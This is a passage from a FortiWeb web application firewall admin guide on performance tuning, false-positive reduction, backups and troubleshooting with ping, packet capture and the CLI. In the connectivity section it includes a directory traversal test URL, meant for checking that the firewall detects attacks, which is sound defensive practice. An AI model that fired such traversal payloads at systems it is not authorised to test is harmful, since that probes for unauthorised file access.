The screenshot shows the 'Edit Report Config' window. At the top, the title is 'Edit Report Config'. Below it, there are fields for 'Report Name' (Report_2), 'Type' (On Schedule), 'Report Title' (Daily Report), and 'Description'. A tree view on the left shows sections: Properties, Report Scope, Report Type(s), Report Format, and Schedule. The 'Schedule' section is expanded and highlighted with a red oval. Inside the 'Schedule' section, there are radio buttons for 'Not Scheduled' and 'Daily'. The 'Daily' radio button is selected. Below it, there are checkboxes for 'These Days' (Mon, Tue, Wed, Thu, Fri, Sat, Sun). The 'Sun' checkbox is checked. Below that, there is a radio button for 'These Dates' with a text input field and an example '(e.g. 1,14,28)'. At the bottom of the 'Schedule' section, there is a 'Time' field with two dropdown menus for hours and minutes. Below the 'Schedule' section is the 'Output' section. At the bottom of the window are 'OK' and 'Cancel' buttons.

Keep in mind that most reports are based upon log messages. All caveats regarding log performance also apply.

Auto-learning performance

- Each URL in an auto-learning report includes the right-click menu option [Stop Learning](#). If a URL is dynamic or hard to predict effectively and may generate inaccurate data, you can improve performance by pausing or stopping auto-learning for that URL. See [“Pausing auto-learning for a URL” on page 179](#).
- Once you have collected enough auto-learning data for generating protection profiles, consider turning off the auto-learning function to save resources. To do so, deselect the auto-learning profile in applicable server policies. See [“How operation mode affects server policy behavior” on page 452](#).
- Use less computationally intensive data types and suspicious URLs, and disable unneeded ones, where possible. See [“Regular expression performance tips” on page 600](#).
- Reduce the list of predefined data type groups to include just those the FortiWeb appliance is likely to encounter when gathering data for an auto-learning report. By pruning the list, you reduce the resources used to recognize data types, freeing them to improve the throughput of the FortiWeb appliance. See [“Grouping predefined data types” on page 168](#).

Figure 79:Auto Learn > Predefined Pattern > Data Type Group

Edit Data Type Group	
Name	predefined-data-type-group1
Type	☐ All / None
	☒ Email
	☐ URI
	☐ Numbers
	☐ Strings
	☐ Date/Time
	☐ Address
	☐ Phone
	☐ Markup/Code
	☒ Credit Card Number
	☐ US ZIP Code
	☐ US State Name and Abbrev.
	☐ Canadian Postal Code
	☐ Canadian Province Name and Abbrev.
	☐ Country Name and Abbrev.
	☐ Chinese Postal Code
	☐ US Social Security Number
	☐ Canadian Social Insurance Number
	☒ Level 1 Password
	☒ Level 2 Password
	☐ IP Address
	☐ Personal Name
	☒ UK Bank Sort Code
	☐ GPA
	☐ NINO
	☐ Unix Device Name
	☒ Microsoft Product Key
	☐ GUID
	☐ Windows File Name
	☐ Indian Vehicle Number
☐ Swedish personal number	
☐ UAE land phone	
☐ Kuwait Civil ID	
☐ US Street Address	
OK Cancel	

- When configuring a suspicious URL pattern, clear one or more web server type options if you do not operate all three web servers, as shown in [Figure 80](#). By pruning the list, you reduce the resources used by the FortiWeb appliance when applying the rule. See [“Grouping all suspicious request URLs”](#) on page 173.

Figure 80:Auto Learn > Predefined Pattern > Suspicious URL

Edit Suspicious URL

Name: suspicious-url-group1

Server Type:

- ☐ All / None
- ☐ IIS
- ☒ Apache
- ☒ Tomcat
- ☐ WebLogic
- ☐ JBoss
- ☐ Jetty
- ☒ ColdFusion
- ☐ Zend Server
- ☐ Abyss
- ☒ nginx
- ☐ Squid
- ☒ lighttpd
- ☐ Zope
- ☒ Subversion
- ☐ Lotus Domino
- ☐ Samba
- ☐ Blazix
- ☐ BadBlue
- ☐ OmniHTTPd
- ☐ Zeus
- ☐ Xeneo
- ☐ AOLserver
- ☐ Xitami
- ☐ LocalWeb2000
- ☐ WebShare
- ☐ WebSiphon
- ☐ Jeus WebContainer
- ☐ Xerver
- ☐ Cherokee
- ☐ WebSEAL
- ☐ lilhttpd
- ☐ mywebserver
- ☐ ghttpd
- ☐ Appweb

Custom Suspicious Policy: custom-suspici

OK Cancel

- When you configure a signature set as part of a web protection profile, consider limiting the scope and application of the *Information Disclosure* options shown in [Figure 81](#). (Click the blue arrow next to *Information Disclosure* to see the list.)

Do you need to watch for all information types? If not, disable them to increase performance. Disable signatures that do not apply to your web servers. For example, if your web server does not run Adobe ColdFusion, you could disable *CF Source Code Leakage* to omit that scan and improve performance. See [“Specifying URLs allowed to initiate sessions” on page 405](#).

Figure 81:Disabling unnecessary server information disclosure signatures in *Web Protection > Known Attacks > Signatures*

▼ **Information Disclosure**

☒ Alert

☐ All / None

☒ Zope Information Leakage

☒ CF Information Leakage

☒ PHP Information Leakage

☒ ISA Server Existence Revealed

☒ Microsoft Office Document Properties Leakage

☒ CF Source Code Leakage

☒ IIS Default Location

☒ Application Availability/Errors

☒ Weblogic information disclosure

☒ File or Directory Names Leakage

☒ IFrame Injection

☒ Generic Malicious JS Detection

☒ ASP/JSP Source Code Leakage

☒ PHP Source Code Leakage

☒ Statistics Pages Revealed

☒ SQL Errors leakage

☒ IIS Errors leakage

☒ Directory Listing

☒ HTTP Header Leakage

The *Information Disclosure* feature can potentially require the FortiWeb appliance to rewrite the header of every request from a server, resulting in reduced performance. Fortinet recommends enabling this feature only to help you identify information disclosure through logging, and until you can reconfigure the server to omit such sensitive information. Clear the *All / None* check box to disable the feature.

- If you use the web anti-defacement feature, tune your configuration to avoid backing up overly large files. See [Figure 82](#) and “[Anti-defacement](#)” on page 485.

Figure 82:Omitting large files from the backup in *Web Anti-Defacement > Web Site with Anti-Defacement*

New Web Site with Anti-Defacement

Web Site Name: *

Description:

Enable Monitor: ☒

Hostname/IP Address: *

Connection Type: *

FTP/SSH Port:

Folder of Web Site: *

User Name: *

Password:

Alert Email Address:

Monitor Interval for Root Folder: Seconds

Monitor Interval for Other Folder: Seconds

Maximum Depth of Monitored Folders:

Skip Files Larger Than: KBytes

Skip Files With These Extensions:

Restore Changed File Automatically: ☐

Unless you need to back up large files, reduce the setting for the *Skip Files Larger Than* option from the default of 10 240 KB.

Use the *Skip Files With These Extensions* option to exclude specific types of large files, such as compressed files and video clips.

Vulnerability scan performance

Vulnerability scan performance depends on the speed and reliability of your network. It also can be impacted by your configuration. See [“Delay Between Each Request” on page 497](#).

Packet capture performance

Packet capture can be useful for troubleshooting but can be resource intensive. (See [“Packet capture” on page 618](#).) To minimize the performance impact on your FortiWeb appliance, use packet capture only during periods of minimal traffic. Use a local console CLI connection rather than a Telnet or SSH CLI connection, and be sure to stop the command when you are finished.

Improving fault tolerance

To enhance availability, set up two FortiWeb appliances to act as an active-passive high availability (HA) pair. If your main FortiWeb appliance fails, the standby FortiWeb appliance can continue processing web traffic with only a minor interruption. For details, see [“Configuring a high availability \(HA\) FortiWeb cluster” on page 95](#).

Keep these points in mind when setting up an HA pair:

- Isolate HA interface connections from your overall network.
Heartbeat and synchronization packets contain sensitive configuration information and can consume considerable network bandwidth. For best results, directly connect the two HA interfaces using a crossover cable. If your system uses switches instead of crossover cables to connect the HA heartbeat interfaces, those interfaces must be reachable by Layer 2 multicast.
- When configuring an HA pair, pay close attention to the options [ARP Packet Numbers](#) and [ARP Packet Interval](#).

Figure 83:System > Config > HA-Config

High Availability Configuration

Configured HA mode: Active-Passive

Group-name:

Device Priority: 5 (1-10)

Override: ☐

HA Member Group ID: 0

Detection Interval: 3 (100ms)

Heartbeat Lost Threshold: 3

ARP Packet Numbers: 3

ARP Packet Interval(sec): 1

	Port Monitor	Heartbeat Interface	
		Primary	Secondary
port1	☐	☐	☐
port2	☐	☐	☐
port3	☐	☐	☐
port4	☐	☐	☐

Apply

The FortiWeb appliance broadcasts ARP packets to the network to ensure timely failover. Delayed broadcast intervals can slow performance. Set the value of [ARP Packet Numbers](#) no higher than needed.

When the FortiWeb appliance broadcasts ARP packets, it does so at regular intervals. For performance reasons, set the value for [ARP Packet Interval](#) no greater than required.

Some experimentation may be needed to set these options at their optimum value. See “Configuring a high availability (HA) FortiWeb cluster” on page 95.

Alerting the SNMP manager when HA switches the primary appliance

Use SNMP to generate a message if the HA heartbeat fails.

Figure 84:SNMP community’s event settings in System > Config > SNMP

SNMP Event	Enable
CPU Overusage	☐
Memory Low	☐
Log disk space low	☐
Operation mode changed	☐
Interface IP changed	☐
HA heartbeat failed	☐

Configure an SNMP community and enable the *HA heartbeat failed* option. For details, see “Configuring an SNMP community” on page 568.

Reducing false positives



Focusing your energies on real attacks is vital. But often attacks differ from normal traffic in subtle ways.

Are 20 requests per second per client a DoS attack? Is a request URL with 250 characters abnormally long? Should form inputs allow SQL queries?

How many of your attack logs are real, and how many are false positives?

Normal traffic is your best judge. Use it to adjust your FortiWeb's protection settings and reduce attack logs that aren't meaningful.

For example, social media buttons for Twitter append an encoded version of your web page's URL as long parameters named `original_referer` and `url` after the request URL to `twitter.com`.




This is normal, and used by Twitter to pre-fill the viewer's tweet about your web site. This way, your readers do not need to manually abbreviate and then paste your URL into their tweet. Long request URLs (and parameters) are therefore typical for Twitter, and therefore would **not** necessarily be indicative of a security bypass attempt.

On other web applications, however, where URLs and parameters are short, this might be suspicious — it could be part of a clickjacking, URL-encoded shell code, or padded exploit. In those cases, you might create a shorter HTTP constraint (see [“HTTP/HTTPS protocol constraints” on page 430](#)).

Likewise, a single corporate front page or Zenphoto gallery page might involve 81 requests for images, JavaScripts, CSS pages, and other external components. A search page, however, might normally only have 6 requests, and merit a lower threshold when configuring rate limiting ([“Rate limiting” on page 328](#)).

This means that “normal” is often relative to your web applications.



Site A

81 requests total



Site B

6 requests total

New HTTP Access Limit


Name	request-rate-limit1
HTTP Request Limit/sec (Standalone IP)	20 (0~65536)
HTTP Request Limit/sec (Shared IP)	60 (0~65536)
<i>Limits the amount of HTTP requests per second from a certain IP</i>	
Real Browser Enforcement	☒
Validation Timeout	20 (5~30)Second

When checked FortiWeb will validate the source once exceeds the request threshold.

Request rate is too low for Site A, but OK for Site B

If practical, use FortiWeb's auto-learning to study traffic and suggest appropriate rules. Alternatively, you can enable a feature with the [Action](#) set to *Alert*, then adjust the thresholds, create exceptions, or disable signatures until you no longer receive many false positives, yet still detect attacks. Enable extended attack signature sets gradually, checking for excessive false positives after you enable each one. (Extended signature sets can contain signatures that are necessary in some cases, but are known sources of false positives.)

Use *Alert* to monitor for false positives before switching to *Alert & Deny*



Name	Action	Block Period	Severity	Trigger Action
Cross Site Scripting	☒ Period Block	60	High	Please Select
Cross Site Scripting (Extended)	☐ Alert	60	Medium	Please Select
SQL Injection	☒ Period Block	60	High	Please Select
SQL Injection (Extended)	☒ Alert	60	Medium	Please Select
Generic Attacks	☒ Period Block	60	High	Please Select
Generic Attacks(Extended)	☒ Period Block	60	Medium	Please Select
Known Exploits	☒ Period Block	60	High	Please Select
Trojans	☒ Period Block	60	Medium	Please Select
Information Disclosure	☒ Erase, no Alert	60	Low	Please Select
Bad Robot	☒ Alert	60	High	Please Select
Credit Card Detection	☒ Erase & Alert	60	High	Please Select
Credit Card Detection Threshold		1		
Custom Signature Group	Please Select	Detail...		



For recommended initial rate limit thresholds, see the documentation for each setting.



If a signature causes false positives, but disabling it would allow attacks, you can use packet capture and analysis tools such as Wireshark to analyze the differences between your typical traffic and attacks, then craft a custom signature (see [“Defining custom data leak & attack signatures” on page 391](#)) targeting the attacks but excluding your normal traffic.

If you need to save time, or don't feel comfortable doing this, you can [contact Fortinet Technical Support for professional services](#).

If you have written an attack signature yourself, or used regular expressions to define large sets of web pages where you will be applying rate limiting, be sure to use the >> (test) button with [Request URL](#) and other similar settings to check:

- your regular expression's syntax (see [“Regular expression syntax” on page 658](#))
- all expected matches
- all non-matches

Regular expressions that do not match enough attack permutations cause false negatives; regular expressions that match unintended traffic cause false positives.

Regular backups

Make a backup before executing operations that can cause large configuration changes, such as:


- Upgrading the firmware
- Running the CLI commands `execute factoryreset` or `execute restore`
- Clicking the *Reset* button in the *System Information* widget on the dashboard
- Changing the operation mode

To mitigate impact in the event of a network compromise, always password-encrypt your backups.

There are two backup methods:

- Manual (see [“To back up the configuration via the web UI” on page 205](#))

Figure 85:System > Maintenance > Backup & Restore



System Configuration (Last Backup: -)

Backup/Restore

☒ Backup ☐ Restore

☒ Backup CLI entire configuration ☐ Backup Web Protection Profile related configuration

☒ Encryption

Password

Backup

Firmware

Partition	Active	Last Upgrade	Firmware Version
1		Mon Oct 8 15:02:07 2012	FV-VMB-4.43-FW-build0657-120929 [Upload and Reboot]
2		-	FV-VMB-4.44-FW-build0663-121029

Boot alternate firmware

Data Analytics

From File **Browse...**

Upload

- Via FTP/SFTP (see [“To back up the configuration via the web UI to an FTP/SFTP server” on page 206](#)).



To lessen the impact on performance, schedule the FTP backup time for off-peak hours.

Figure 86:System > Maintenance > FTP Backup

Edit FTP Backup

Name	backup-server
FTP Protocol	☐ FTP ☒ SFTP
FTP Server	172.16.1.25
FTP Directory	fortiweb/backups/
FTP Authentication	☒
FTP User	fortiweb
FTP Password	••••••••
Backup Type	☒ Full Config ☐ CLI Config
Encryption	☒
Encryption Password	••••••••
Schedule Type	☐ Now ☒ Daily
Days	☐ Mon ☐ Thu ☒ Sun ☐ Tue ☐ Fri ☐ Wed ☐ Sat
Time	02 ▾ 00 ▾

OK Cancel

Downloading logs in RAM before shutdown or reboot

Event log messages stored in memory are cleared when the FortiWeb appliance shuts down. Download the event log to save it before shutting down. See [“Downloading log messages” on page 556](#).

Troubleshooting

This topic provides guidelines to help you resolve issues if your FortiWeb appliance is not behaving as you expect.

Keep in mind that if you cannot resolve the issue on your own, you can [contact Fortinet Technical Support](#).

See also

- [Tools](#)
- [How to troubleshoot](#)
- [Solutions by issue type](#)
- [Resetting the configuration](#)
- [Restoring firmware \("clean install"\)](#)

Tools

To locate network errors and other issues that may prevent connections from passing to or through the FortiWeb appliance, FortiWeb appliances feature several troubleshooting tools.

Troubleshooting methods and tips may use:

- the command line interface (CLI)
- the web UI
- external third-party tools

Some CLI commands provide troubleshooting information not available through the web UI; third-party tools on external hosts can test connections from perspectives that cannot be achieved locally.

See also

- [Ping & traceroute](#)
- [Log messages](#)
- [Diff](#)
- [Packet capture](#)

Ping & traceroute

If your FortiWeb appliance cannot connect to other hosts, try using ICMP ([ping](#) and [traceroute](#)) to determine if the host is reachable or to locate the node of your network at which connectivity fails, such as when static routes are incorrectly configured. You can do this from the FortiWeb appliance using CLI commands.

For example, you might use `ping` to determine that 172.16.1.10 is reachable:

```
execute ping 172.16.1.10
PING 172.16.1.10 (172.16.1.10): 56 data bytes
64 bytes from 172.16.1.10: icmp_seq=0 ttl=64 time=2.4 ms
64 bytes from 172.16.1.10: icmp_seq=1 ttl=64 time=1.4 ms
64 bytes from 172.16.1.10: icmp_seq=2 ttl=64 time=1.4 ms
64 bytes from 172.16.1.10: icmp_seq=3 ttl=64 time=0.8 ms
64 bytes from 172.16.1.10: icmp_seq=4 ttl=64 time=1.4 ms

--- 172.20.120.167 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.8/1.4/2.4 ms
```

or that 192.168.1.10 is **not** reachable:

```
execute ping 192.168.1.10
PING 192.168.1.10 (192.168.1.10): 56 data bytes
Timeout ...
Timeout ...
Timeout ...
Timeout ...
Timeout ...

--- 192.168.1.10 ping statistics ---
5 packets transmitted, 0 packets received, 100% packet loss
```

If the host is not reachable, you can use `tracert` to determine the router hop or host at which the connection fails:

```
execute traceroute 192.168.1.10
traceroute to 192.168.1.10 (192.168.1.10), 32 hops max, 72 byte
packets
 1  192.168.1.2 2 ms  0 ms  1 ms
 2  * * *
```

For more information on CLI commands, see the [FortiWeb CLI Reference](#). For more information on troubleshooting connectivity, see “[Connectivity issues](#)” on page 626.



Both `ping` and `tracert` require that network nodes respond to ICMP. If you have disabled responses to ICMP on your network, hosts may appear to be unreachable to `ping` and `tracert`, even if connections using other protocols can succeed.

Log messages

Log messages often contain clues that can aid you in determining the cause of a problem. FortiWeb appliances can record log messages when errors occur that cause failures, upon significant changes, and upon processing events.

Depending on the type, log messages may appear in either the event, attack, or traffic logs. The FortiWeb appliance must be enabled to record event, attack, and traffic log messages; otherwise, you cannot analyze the log messages for events of that type. To enable logging of different types of events, select *Log&Report > Log Config > Other Log Settings*.

During troubleshooting, you may find it useful to reduce the logging severity threshold for more verbose logs, to include more information on less severe events. To configure the severity threshold, go to *Log&Report > Log Config > Global Log Settings*.


Diff

You can compare backups of the core configuration file with your current configuration. This can be useful if, for example:

- A previously configured feature is no longer functioning, and you are not sure what in the configuration has changed.
- You want to recreate something configured previously, but do not remember what the settings were.

Difference programs can help you to quickly find all changes.

Figure 87: Configuration differences highlighted in WinMerge



There are many such difference-finding programs, such as [WinMerge](#) and the original [diff](#). They can compare your configurations, line by line, and highlight parts that are new, modified, or deleted.

For instructions, see your difference program's documentation.

See also

- [Backups](#)
- [Establishing a system baseline](#)
- [Determining the source of the problem](#)

Packet capture

Packet capture, also known as sniffing or packet analysis, records some or all of the packets seen by a network interface (that is, the network interface is used in promiscuous mode). By recording packets, you can trace connection states to the exact point at which they fail, which may help you to diagnose some types of problems that are otherwise difficult to detect.

FortiWeb appliances have a built-in sniffer. Packet capture on FortiWeb appliances is similar to that of FortiGate appliances. To use the built-in sniffer, connect to the CLI and enter the following command:

```
diagnose network sniffer packet [{any | <interface_name>}  
[{none | '<filter_str>'} [{1 | 2 | 3} [<packets_int>]]]
```

where:

- `<interface_name>` is either the name of a network interface, such as `port1`, or enter `any` for all interfaces.
- `'<filter_str>'` is the sniffer filter that specifies which protocols and port numbers that you do or do not want to capture, such as `'tcp port 80'`, or enter `none` for no filters. Filters use [tcpdump](#) syntax.
- `{1 | 2 | 3}` is an integer indicating whether to display the network interface names, packet headers, and/or payloads for each packet that the network interface sends, receives, or sees:

- 1 — Display the packet capture timestamp, plus basic fields of the IP header: the source IP address, the destination IP address, protocol name, and destination port number.

Does **not** display all fields of the IP header; it omits:

- IP version number bits
- Internet header length (`ihl`)
- type of service/differentiated services code point (`tos`)
- explicit congestion notification
- total packet or fragment length
- packet ID
- IP header checksum
- time to live (`TTL`)
- IP flag
- fragment offset
- options bits

e.g.:

```
interfaces=[port2]  
filters=[none]  
0.655224 172.20.130.16.2264 -> 172.20.130.15.42574: udp 113
```

- 2 — All of the output from 1, plus the packet payload in both hexadecimal and ASCII.
e.g.:

```
interfaces=[port2]
filters=[none]
0.915616 172.20.130.16.2264 -> 172.20.130.15.42574: udp 124
0x0000 4500 0098 d27d 4000 4011 0b8f ac14 8210 E....}@.@.....
0x0010 ac14 820f 08d8 a64e 0084 b75a 80e0 3dee .....N...Z...=
0x0020 71b8 d617 38fa 3fd8 419b 5006 053c 99c1 q...8.?.A.P.<..
0x0030 e961 93bc 21c9 3197 a030 a709 76dc 0ed8 .a...!.1..0..v...
0x0040 98f8 ceef 6afb e7f2 7773 98e1 5ef7 bfbf ....j...ws...^...
0x0050 2f0d 726f 70cf 26cd d986 392f 4a0b f97b /.rop.&...9/J..{
0x0060 b84f 932d 3043 cbdd c2dc da77 0b73 70fc .O.-0C.....w.sp.
0x0070 158a 1868 eee0 793b c09e 7dc0 59f5 787c ...h..y;...}.Y.x|
0x0080 fc1a f25a dc18 735d f090 8e05 c3e8 c14f ...Z..s].....O
0x0090 3466 57c0 4688 58b8 4fW.F.X.
```

- 3 — All of the output from 2, plus the link layer (Ethernet) header. e.g.:

```
interfaces=[port2]
filters=[none]
0.317960 172.20.130.16.2264 -> 172.20.130.15.42574: udp 31
0x0000 50e5 49e8 dc3d 000f 7c08 2ff5 0800 4500 P.I...=..|./...E.
0x0010 003b 2cad 4000 4011 b1bc ac14 8210 ac14 .;,,@.@.....
0x0020 820f 08d8 a64e 0027 ea3c 80e0 981e 7474 .....N.'.<....tt
0x0030 6ddf 38fa 3fd8 419b 6e06 00f0 8dd5 e01d m.8.?.A.n.....
0x0040 810a e049 e5e9 380a f8 ...I..8..
```

- `<packets_int>` is the number of packets the sniffer reads before stopping. Packet capture output is printed to your CLI display until you stop it by pressing Ctrl+C, or until it reaches the number of packets that you have specified to capture.



Packet capture can be very resource intensive. To minimize the performance impact on your FortiWeb appliance, use packet capture only during periods of minimal traffic, with a local console CLI connection rather than a Telnet or SSH CLI connection, and be sure to stop the command when you are finished.

For example, you might capture all TCP port 443 (typically HTTPS) traffic occurring through port1, regardless of its source or destination IP address. The capture uses a high level of verbosity (indicated by 3).

A specific number of packets to capture is not specified. As a result, the packet capture continues until the administrator presses Ctrl+C. The sniffer then confirms that five packets were seen by that network interface.

(Verbose output can be very long. As a result, output shown below is truncated after only one packet.)

```
FortiWeb# diagnose network sniffer packet port1 'tcp port 443' 3
interfaces=[port1]
filters=[tcp port 443]
10.651905 192.168.0.1.50242 -> 192.168.0.2.443: syn 761714898
0x0000    0009 0f09 0001 0009 0f89 2914 0800 4500
.....)...E.
0x0010    003c 73d1 4000 4006 3bc6 d157 fede ac16
.<s.@.@.;..W....
0x0020    0ed8 c442 01bb 2d66 d8d2 0000 0000 a002
...B...-f.....
0x0030    16d0 4f72 0000 0204 05b4 0402 080a 03ab
..Or.....
0x0040    86bb 0000 0000 0103 0303                      .....
```

Instead of reading packet capture output directly in your CLI display, you usually should save the output to a plain text file using your CLI client. Saving the output provides several advantages. Packets can arrive more rapidly than you may be able to read them in the buffer of your CLI display, and many protocols transfer data using encodings other than US-ASCII. It is often, but not always, preferable to analyze the output by loading it into a network protocol analyzer application such as Wireshark (<http://www.wireshark.org/>).

For example, you could use PuTTY or Microsoft HyperTerminal to save the sniffer output to a file. Methods may vary. See the documentation for your CLI client.

Requirements

- terminal emulation software such as [PuTTY](#)
- a plain text editor such as Notepad
- a [Perl](#) interpreter
- network protocol analyzer software such as [Wireshark](#)


To view packet capture output using PuTTY and Wireshark

1. On your management computer, start PuTTY.
2. Use PuTTY to connect to the FortiWeb appliance using either a local console, SSH, or Telnet connection. For details, see the FortiWeb [CLI Reference](#).
3. Type the packet capture command, such as:

```
diagnose network sniffer packet port1 'tcp port 443' 3
```


but do **not** press Enter yet.

4. In the upper left corner of the window, click the PuTTY icon to open its drop-down menu, then select *Change Settings*.



A dialog appears where you can configure PuTTY to save output to a plain text file.

5. In the *Category* tree on the left, go to *Session > Logging*.
6. In *Session logging*, select *Printable output*.
7. In *Log file name*, click the *Browse* button, then choose a directory path and file name such as `C:\Users\MyAccount\packet_capture.txt` to save the packet capture to a plain text file. (You do not need to save it with the `.log` file extension.)
8. Click *Apply*.
9. Press Enter to send the CLI command to the FortiWeb appliance, beginning packet capture.
10. If you have not specified a number of packets to capture, when you have captured all packets that you want to analyze, press Ctrl + C to stop the capture.
11. Close the PuTTY window.
12. Open the packet capture file using a plain text editor such as Notepad.



13. Delete the first and last lines, which look like this:

```
===== PuTTY log 2013.07.25 11:34:40 =====
FortiWeb-2000 #
```

These lines are a PuTTY timestamp and a command prompt, which are not part of the packet capture. If you do not delete them, they could interfere with the script in the next step.

14. Convert the plain text file to a format recognizable by your network protocol analyzer application.

You can convert the plain text file to a format (.pcap) recognizable by Wireshark (formerly called Ethernet) using the fgt2eth.pl Perl script. To download fgt2eth.pl, see the Fortinet Knowledge Base article [Using the FortiOS built-in packet sniffer](#).



The fgt2eth.pl script is provided as-is, without any implied warranty or technical support, and requires that you first install a Perl module compatible with your operating system.

To use fgt2eth.pl, open a command prompt, then enter a command such as the following:



Methods to open a command prompt vary by operating system.

On Windows XP, go to *Start > Run* and enter `cmd`.

On Windows 7, click the Start (Windows logo) menu to open it, then enter `cmd`.

```
fgt2eth.pl -in packet_capture.txt -out packet_capture.pcap
```

where:

- `fgt2eth.pl` is the name of the conversion script; include the path relative to the current directory, which is indicated by the command prompt
- `packet_capture.txt` is the name of the packet capture's output file; include the directory path relative to your current directory
- `packet_capture.pcap` is the name of the conversion script's output file; include the directory path relative to your current directory where you want the converted output to be saved


Figure 88: Converting sniffer output to .pcap format

```
C:\WINDOWS\system32\cmd.exe
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\test>cd Desktop
C:\Documents and Settings\test\Desktop>fgt2eth.pl -in fortimail_sniff.TXT -out f
ortimail_sniff.pcap
Conversion of file fortimail_sniff.TXT phase 1 (FGT verbose 3 conversion)
Output written to fortimail_sniff.pcap.
Conversion of file fortimail_sniff.TXT phase 2 (windows text2pcap)
Output file to load in Ethereal is 'fortimail_sniff.pcap'
C:\Documents and Settings\test\Desktop>
```

15. Open the converted file in your network protocol analyzer application. For further instructions, see the documentation for that application.

Figure 89: Viewing sniffer output in Wireshark



For additional information on packet capture, see the Fortinet Knowledge Base article [Using the FortiOS built-in packet sniffer](#).

For more information on CLI commands, see the [FortiWeb CLI Reference](#).

Diagnostic commands in the CLI

Most diagnostic tools are in the CLI — they are **not** available from the web UI. Many are shown in “[Solutions by issue type](#)” on page 625. For more information on diagnose and other CLI commands, see the [FortiWeb CLI Reference](#).

How to troubleshoot

If you are new to troubleshooting network appliances in general, this section outlines some basic skills.

Establishing a system baseline

Before you can define an **abnormal** operation, you need to know what **normal** operation is. When there is a problem, a baseline for normal operation helps you to define what is wrong or changed.

Baseline information can include:

- Logging (see “[Enabling log types, packet payload retention, & resource shortage alerts](#)” on page 533)
- Monitoring performance statistics such as memory usage (see “[System Resources widget](#)” on page 523 and “[SNMP traps & queries](#)” on page 567)
- Regular backups of the FortiWeb appliance’s configuration (see “[Backups](#)” on page 204)

If you accidentally change something, the backup can help you restore normal operation quickly and easily. Backups also can aid in troubleshooting: you can use a tool such as [diff](#) to find the parts of the configuration that have changed.

See also

- [Diff](#)
- [Backups](#)

Determining the source of the problem

To know which solutions to try, you first need to locate the source of the problem. Occasionally, a problem has more than one possible source. To find a working solution, you will need to determine the exact source of the problem.

- Did FortiWeb's hardware and software both start properly? If not, see "[Bootup issues](#)" on [page 643](#).
- Are you having [Login issues](#)?
- What has recently changed?
Do not assume that nothing has changed in the network. Use [Diff](#) and [Backups](#) to see if something changed in the configuration, and [Logging](#) to see if an unusual condition occurred. If the configuration did change, see what the effect is when you roll back the change.
- Does your configuration involve HTTPS?
If yes, make sure your certificate is loaded and valid.
- Are any web servers down?
Check the [Server Status widget](#) on the dashboard.
- Is a policy disabled?
- Does the problem originate on the camera, FortiWeb, or your computer? There are two sides to every connection. See "[Connectivity issues](#)" on [page 626](#).
- Does the problem affect only specific clients or servers? Are they all of the same type?
- Is the problem intermittent or random? Or can you reproduce it reliably, regardless of which camera or computer you use to connect to FortiWeb?
If the problem is intermittent, you can use the [System Resources widget](#) to see whether the problem corresponds to FortiWeb processor or RAM exhaustion. See "[Resource issues](#)" on [page 639](#).
You can also view the event log. (If there is no event log, someone may have disabled that feature. See "[Enabling log types, packet payload retention, & resource shortage alerts](#)" on [page 533](#).)
- Is your system under attack?
View the [Attack Log Console widget](#) on the dashboard.

See also

- [Connectivity issues](#)
- [Resource issues](#)
- [Login issues](#)
- [Bootup issues](#)
- [Diff](#)
- [Backups](#)

Planning & access privileges

Create a checklist so that you know what you have tried, and what is left to check.

If you need to contact Fortinet Technical Support, it helps to provide a list of what data you gathered and what solutions you tried. This prevents duplicated efforts, and minimizes the time required to resolve your ticket.

If you need access to other networking equipment such as switches, routers, and servers to help you test, contact your network administrator. Fortinet Technical Support will not have access to this other equipment. However, they may need to ask you to adjust a setting on the other equipment.

If you are not using the `admin` account on FortiWeb, verify that your account has the permissions you need to run all diagnostic s.

Solutions by issue type

Recommended solutions vary by the type of issue.

- [Connectivity issues](#)
- [Resource issues](#)
- [Login issues](#)
- [Data storage issues](#)
- [Bootup issues](#)

Fortinet also provides these resources:

- the Release Notes provided with your firmware
- [Technical documentation](#) (references, installation guides, and other documents)
- [Knowledge base](#) (technical support articles)
- [Forums](#)
- [Online campus](#) (tutorials and training materials)

Check within your organization. You can save time and effort during the troubleshooting process by checking if other FortiWeb administrators experienced a similar problem before.

Connectivity issues

One of your first tests when configuring a new policy should be to determine whether allowed traffic is flowing to your web servers.

- Is there a server policy applied to the web server or servers FortiWeb was installed to protect? If it is operating in reverse proxy mode, FortiWeb will not allow any traffic to reach a protected web server unless there is a matching server policy that permits it.
- If your network utilizes secure connections (HTTPS) and there is no traffic flow, is there a problem with your certificate?
- If you run a test attack from a browser aimed at your web site, does it show up in the attack log?

To verify, configure FortiWeb to detect the attack, then craft a proof-of-concept that will trigger the attack sensor. For example, to see whether directory traversal attacks are being logged and/or blocked, you could use your web browser to go to:

```
http://www.example.com/login?user=../../../../..
```

Under normal circumstances, you should see a new attack log entry in the [Attack Log Console widget](#) of the system dashboard.

See also

- [Checking hardware connections](#)
- [Checking port assignments](#)
- [Checking routing](#)
- [Examining the routing table](#)
- [Examining the ARP table](#)
- [Debugging the packet processing flow](#)
- [Packet capture](#)
- [Monitoring traffic load](#)
- [Preparing for attacks](#)

Checking hardware connections

If there is no traffic flowing from the FortiWeb appliance, it may be a hardware problem.

To check hardware connections

- Ensure the network cables are properly plugged in to the interfaces on the FortiWeb appliance.
- Ensure there are connection lights for the network cables on the appliance.
- Change the cable if the cable or its connector are damaged or you are unsure about the cable's type or quality.
- Connect the FortiWeb appliance to different hardware to see if that makes a difference.
- In the web UI, select *Status > Network > Interface* and ensure the link status is up for the interface.

If the status is down (down arrow on red circle), click *Bring Up* next to it in the *Status* column.

You can also enable an interface in CLI, for example:

```
config system interface
    edit port2
        set status up
    end
```

If any of these checks solve the problem, it was a hardware connection issue. You should still perform some basic software tests to ensure complete connectivity.

If the hardware connections are correct and the appliance is powered on but you cannot connect using the CLI or web UI, you may be experiencing bootup problems. See [“Bootup issues” on page 643](#).

Examining the ARP table

When you have poor connectivity, another good place to look for information is the address resolution protocol (ARP) table. A functioning ARP is especially important in high-availability configurations.

To check the ARP table in the CLI, enter:

```
diagnose network arp list
```

Checking routing

`ping` and `traceroute` are useful tools in network connectivity and route troubleshooting.

Since you typically use these tools to troubleshoot, you can allow ICMP, the protocol used by these tools, in firewall policies and on interfaces only when you need them. Otherwise, disable ICMP for improved security and performance.

